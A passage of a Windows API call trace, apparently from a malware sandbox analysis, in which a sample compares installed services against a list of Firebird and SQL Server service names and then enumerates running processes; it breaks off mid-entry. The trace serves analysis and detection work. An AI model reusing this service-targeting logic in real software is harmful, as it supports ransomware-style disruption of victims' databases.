lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0107.399] lstrlenW (lpString="PcaSvc") returned 6 [0107.399] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0107.399] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0107.399] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0107.399] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0107.399] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0107.399] lstrlenW (lpString="PlugPlay") returned 8 [0107.399] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0107.399] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0107.399] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0107.399] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0107.399] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0107.399] lstrlenW (lpString="Power") returned 5 [0107.399] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0107.399] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0107.399] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0107.399] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0107.399] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0107.399] lstrlenW (lpString="ProfSvc") returned 7 [0107.399] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0107.399] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0107.399] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0107.400] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0107.400] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0107.400] lstrlenW (lpString="RpcEptMapper") returned 12 [0107.400] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0107.400] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0107.400] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0107.400] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0107.400] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0107.400] lstrlenW (lpString="RpcSs") returned 5 [0107.400] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0107.400] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0107.400] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0107.400] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0107.400] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0107.400] lstrlenW (lpString="SamSs") returned 5 [0107.400] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0107.400] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0107.400] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0107.400] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0107.400] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0107.400] lstrlenW (lpString="Schedule") returned 8 [0107.400] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0107.400] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0107.400] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0107.400] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0107.400] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0107.400] lstrlenW (lpString="SecurityHealthService") returned 21 [0107.401] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0107.401] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0107.401] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0107.401] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0107.401] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0107.401] lstrlenW (lpString="SENS") returned 4 [0107.401] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0107.401] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0107.401] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0107.401] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0107.401] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0107.401] lstrlenW (lpString="ShellHWDetection") returned 16 [0107.401] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0107.401] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0107.401] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0107.401] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0107.401] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0107.401] lstrlenW (lpString="Spooler") returned 7 [0107.401] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0107.401] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0107.401] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0107.401] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0107.401] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0107.401] lstrlenW (lpString="SSDPSRV") returned 7 [0107.401] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0107.401] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0107.401] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0107.402] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0107.402] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0107.402] lstrlenW (lpString="StateRepository") returned 15 [0107.402] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0107.402] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0107.402] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0107.402] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0107.402] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60fb70 | out: hHeap=0x5b0000) returned 1 [0107.402] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x280 [0107.483] Process32FirstW (in: hSnapshot=0x280, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0107.484] Process32NextW (in: hSnapshot=0x280, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0107.485] lstrlenW (lpString="System") returned 6 [0107.485] Process32NextW (in: hSnapshot=0x280, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0107.486] lstrlenW (lpString="smss.exe") returned 8 [0107.486] Process32NextW (in: hSnapshot=0x280, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0107.486] lstrlenW (lpString="csrss.exe") returned 9 [0107.486] Process32NextW (in: hSnapshot=0x280, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0107.487] lstrlenW (lpString="wininit.exe") returned 11 [0107.487] Process32NextW (in: hSnapshot=0x280, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0107.488] lstrlenW (lpString="csrss.exe") returned 9 [0107.488] Process32NextW (in: hSnapshot=0x280, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0107.489] lstrlenW (lpString="winlogon.exe") returned 12 [0107.489] Process32NextW (in: hSnapshot=0x280, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0107.490] lstrlenW (lpString="services.exe") returned 12 [0107.490] Process32NextW (in: hSnapshot=0x280, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0107.491] lstrlenW (lpString="lsass.exe") returned 9 [0107.491] Process32NextW (in: hSnapshot=0x280, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0107.491] lstrlenW (lpString="svchost.exe") returned 11 [0107.491] Process32NextW (in: hSnapshot=0x280, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0107.492] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0107.492] Process32NextW (in: hSnapshot=0x280, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0107.493] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0107.493] Process32NextW (in: hSnapshot=0x280, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0107.494] lstrlenW (lpString="svchost.exe") returned 11 [0107.494] Process32NextW (in: hSnapshot=0x280, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0107.494] lstrlenW (lpString="dwm.exe") returned 7 [0107.495] Process32NextW (in: hSnapshot=0x280, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0107.495] lstrlenW (lpString="svchost.exe") returned 11 [0107.495] Process32NextW (in: hSnapshot=0x280, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0107.496] lstrlenW (lpString="svchost.exe") returned 11 [0107.496] Process32NextW (in: hSnapshot=0x280, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0107.497] lstrlenW (lpString="svchost.exe") returned 11 [0107.497] Process32NextW (in: hSnapshot=0x280, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0107.498] lstrlenW (lpString="svchost.exe") returned 11 [0107.498] Process32NextW (in: hSnapshot=0x280, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0107.499] lstrlenW (lpString="svchost.exe") returned 11 [0107.499] Process32NextW (in: hSnapshot=0x280, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0107.499] lstrlenW (lpString="svchost.exe") returned 11 [0107.499] Process32NextW (in: hSnapshot=0x280, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0107.500] lstrlenW (lpString="svchost.exe") returned 11 [0107.500] Process32NextW (in: hSnapshot=0x280, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0107.501] lstrlenW (lpString="svchost.exe") returned 11 [0107.501] Process32NextW (in: hSnapshot=0x280, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0107.502] lstrlenW (lpString="svchost.exe") returned 11 [0107.502] Process32NextW (in: hSnapshot=0x280, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0107.503] lstrlenW (lpString="spoolsv.exe") returned 11 [0107.503] Process32NextW (in: hSnapshot=0x280, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0107.503] lstrlenW (lpString="svchost.exe") returned 11 [0107.503] Process32NextW (in: hSnapshot=0x280, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0107.506] lstrlenW (lpString="svchost.exe") returned 11 [0107.506] Process32NextW (in: hSnapshot=0x280, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0107.506] lstrlenW (lpString="audiodg.exe") returned 11 [0107.506] Process32NextW (in: hSnapshot=0x280, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0107.507] lstrlenW (lpString="sihost.exe") returned 10 [0107.507] Process32NextW (in: hSnapshot=0x280, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0107.508] lstrlenW (lpString="svchost.exe") returned 11 [0107.508] Process32NextW (in: hSnapshot=0x280, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0107.509] lstrlenW (lpString="taskhostw.exe") returned 13 [0107.509] Process32NextW (in: hSnapshot=0x280, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0107.509] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0107.509] Process32NextW (in: hSnapshot=0x280, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0107.510] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0107.510] Process32NextW (in: hSnapshot=0x280, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0107.511] lstrlenW (lpString="explorer.exe") returned 12 [0107.511] Process32NextW (in: hSnapshot=0x280, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0107.512] lstrlenW (lpString="Memory Compression") returned 18 [0107.512] Process32NextW (in: hSnapshot=0x280, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0107.513] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0107.513] Process32NextW (in: hSnapshot=0x280, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0107.513] lstrlenW (lpString="SearchUI.exe") returned 12 [0107.514] Process32NextW (in: hSnapshot=0x280, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0107.514] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0107.514] Process32NextW (in: hSnapshot=0x280, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0107.515] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0107.515] Process32NextW (in: hSnapshot=0x280, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0107.516] lstrlenW (lpString="taskhostw.exe") returned 13 [0107.516] Process32NextW (in: hSnapshot=0x280, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0107.517] lstrlenW (lpString="UsoClient.exe") returned 13 [0107.517] Process32NextW (in: hSnapshot=0x280, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0107.518] lstrlenW (lpString="taskhostw.exe") returned 13 [0107.518] Process32NextW (in: hSnapshot=0x280, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0107.519] lstrlenW (lpString="msoia.exe") returned 9 [0107.519] Process32NextW (in: hSnapshot=0x280, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0107.579] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0107.579] Process32NextW (in: hSnapshot=0x280, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0107.580] lstrlenW (lpString="msoia.exe") returned 9 [0107.580] Process32NextW (in: hSnapshot=0x280, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0107.581] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0107.581] Process32NextW (in: hSnapshot=0x280, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0107.583] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0107.583] Process32NextW (in: hSnapshot=0x280, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver fireplace subdivision.exe")) returned 1 [0107.584] lstrlenW (lpString="screensaver fireplace subdivision.exe") returned 37 [0107.584] Process32NextW (in: hSnapshot=0x280, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="arc obviously.exe")) returned 1 [0107.584] lstrlenW (lpString="arc obviously.exe") returned 17 [0107.584] Process32NextW (in: hSnapshot=0x280, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="scholars.exe")) returned 1 [0107.585] lstrlenW (lpString="scholars.exe") returned 12 [0107.585] Process32NextW (in: hSnapshot=0x280, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="isolatedconcerned.exe")) returned 1 [0107.586] lstrlenW (lpString="isolatedconcerned.exe") returned 21 [0107.586] Process32NextW (in: hSnapshot=0x280, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="organizing.exe")) returned 1 [0107.587] lstrlenW (lpString="organizing.exe") returned 14 [0107.587] Process32NextW (in: hSnapshot=0x280, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="campus.exe")) returned 1 [0107.587] lstrlenW (lpString="campus.exe") returned 10 [0107.587] Process32NextW (in: hSnapshot=0x280, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="mug.exe")) returned 1 [0107.588] lstrlenW (lpString="mug.exe") returned 7 [0107.588] Process32NextW (in: hSnapshot=0x280, lppe=0x256fd2c | out: 